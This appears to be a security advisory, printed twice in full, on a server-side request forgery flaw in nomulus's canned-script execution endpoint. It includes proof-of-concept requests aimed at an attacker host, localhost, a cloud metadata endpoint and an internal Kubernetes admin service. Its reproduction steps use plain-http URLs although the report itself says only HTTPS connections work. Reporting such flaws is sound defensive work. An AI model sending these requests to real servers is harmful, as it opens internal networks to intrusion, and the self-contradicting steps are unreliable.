Details
Description This issue is a classic Server-Side Request Forgery (SSRF) caused by unvalidated user input. The url parameter is fully attacker-controlled and directly used to create an outbound HttpsURLConnection without any validation, filtering, or allowlisting. As a result, an attacker can force the server to send HTTP requests to arbitrary destinations, including internal services that are not publicly accessible. The vulnerability is exploitable because the server performs the request and then reads the full response (getResponseBytes) and returns it back to the attacker in response.setPayload. This effectively turns the application into a proxy, enabling attackers to access sensitive internal endpoints and retrieve their responses. In the provided PoC, the attacker targets an internal Kubernetes service (*.svc.cluster.local) using a privileged service account token. This demonstrates the ability to reach internal network resources and potentially access administrative endpoints that rely on implicit trust or internal authentication. Impact includes internal service enumeration, access to sensitive metadata or admin APIs, and potential privilege escalation depending on reachable services. In cloud environments, this could also lead to metadata exposure or lateral movement within the infrastructure. The root cause is the lack of input validation and absence of network-level restrictions (e.g., blocking private IP ranges), allowing arbitrary outbound connections initiated by user input.
Location
core/src/main/java/google/registry/batch/CannedScriptExecutionAction.java:57-75
Data Flow
@parameter("url") String url; // line 58 — user-controlled
HttpsURLConnection connection = (HttpsURLConnection) urlConnectionService.createConnection(new URL(url)); // line 70 responseCode = connection.getResponseCode(); // line 71 responseContent = new String(UrlConnectionUtils.getResponseBytes(connection), UTF_8); // line 74 response.setPayload(responseContent); // line 85 — returned to caller
PoC Concept
POST /_dr/task/executeCannedScript?url=https://internal-service.default.svc.cluster.local/admin Authorization: Bearer admin_service_account_token
Reproduction Steps
Clone and run the application: git clone https://github.com/google/nomulus.git cd nomulus (build and start the service following the project README)
Identify the vulnerable endpoint: POST /_dr/task/executeCannedScript The "url" parameter is user-controlled and used to create an outbound request.
Start an attacker-controlled server to capture requests: python3 -m http.server 8000
Send the SSRF request: POST /_dr/task/executeCannedScript?url=http://<ATTACKER_IP>:8000 Authorization: Bearer <VALID_TOKEN>
Verify the vulnerability:
Observe an incoming request on the attacker server.
The application fetches the remote content and returns it in the response payload.
Optionally test internal access: url=http://127.0.0.1:8080/ url=http://metadata.google.internal/
Attack scenario
Full response SSRF: request arbitrary HTTPS URLs from the server's network position, response returned to caller
In GKE: access internal Kubernetes services, other backend endpoints
Limited to AUTH_ADMIN (service accounts / admin users), but a compromised admin token or misconfigured service account could exploit this
Only HTTPS (casts to HttpsURLConnection), so GCP metadata endpoint (HTTP-only) is not directly reachable
Details
Description This issue is a classic Server-Side Request Forgery (SSRF) caused by unvalidated user input. The url parameter is fully attacker-controlled and directly used to create an outbound HttpsURLConnection without any validation, filtering, or allowlisting. As a result, an attacker can force the server to send HTTP requests to arbitrary destinations, including internal services that are not publicly accessible. The vulnerability is exploitable because the server performs the request and then reads the full response (getResponseBytes) and returns it back to the attacker in response.setPayload. This effectively turns the application into a proxy, enabling attackers to access sensitive internal endpoints and retrieve their responses. In the provided PoC, the attacker targets an internal Kubernetes service (*.svc.cluster.local) using a privileged service account token. This demonstrates the ability to reach internal network resources and potentially access administrative endpoints that rely on implicit trust or internal authentication. Impact includes internal service enumeration, access to sensitive metadata or admin APIs, and potential privilege escalation depending on reachable services. In cloud environments, this could also lead to metadata exposure or lateral movement within the infrastructure. The root cause is the lack of input validation and absence of network-level restrictions (e.g., blocking private IP ranges), allowing arbitrary outbound connections initiated by user input.
Location
core/src/main/java/google/registry/batch/CannedScriptExecutionAction.java:57-75
Data Flow
@parameter("url") String url; // line 58 — user-controlled
HttpsURLConnection connection = (HttpsURLConnection) urlConnectionService.createConnection(new URL(url)); // line 70 responseCode = connection.getResponseCode(); // line 71 responseContent = new String(UrlConnectionUtils.getResponseBytes(connection), UTF_8); // line 74 response.setPayload(responseContent); // line 85 — returned to caller
PoC Concept
POST /_dr/task/executeCannedScript?url=https://internal-service.default.svc.cluster.local/admin Authorization: Bearer admin_service_account_token
Reproduction Steps
Clone and run the application: git clone https://github.com/google/nomulus.git cd nomulus (build and start the service following the project README)
Identify the vulnerable endpoint: POST /_dr/task/executeCannedScript The "url" parameter is user-controlled and used to create an outbound request.
Start an attacker-controlled server to capture requests: python3 -m http.server 8000
Send the SSRF request: POST /_dr/task/executeCannedScript?url=http://<ATTACKER_IP>:8000 Authorization: Bearer <VALID_TOKEN>
Verify the vulnerability:
Observe an incoming request on the attacker server.
The application fetches the remote content and returns it in the response payload.
Optionally test internal access: url=http://127.0.0.1:8080/ url=http://metadata.google.internal/
Attack scenario
Full response SSRF: request arbitrary HTTPS URLs from the server's network position, response returned to caller
In GKE: access internal Kubernetes services, other backend endpoints
Limited to AUTH_ADMIN (service accounts / admin users), but a compromised admin token or misconfigured service account could exploit this
Only HTTPS (casts to HttpsURLConnection), so GCP metadata endpoint (HTTP-only) is not directly reachable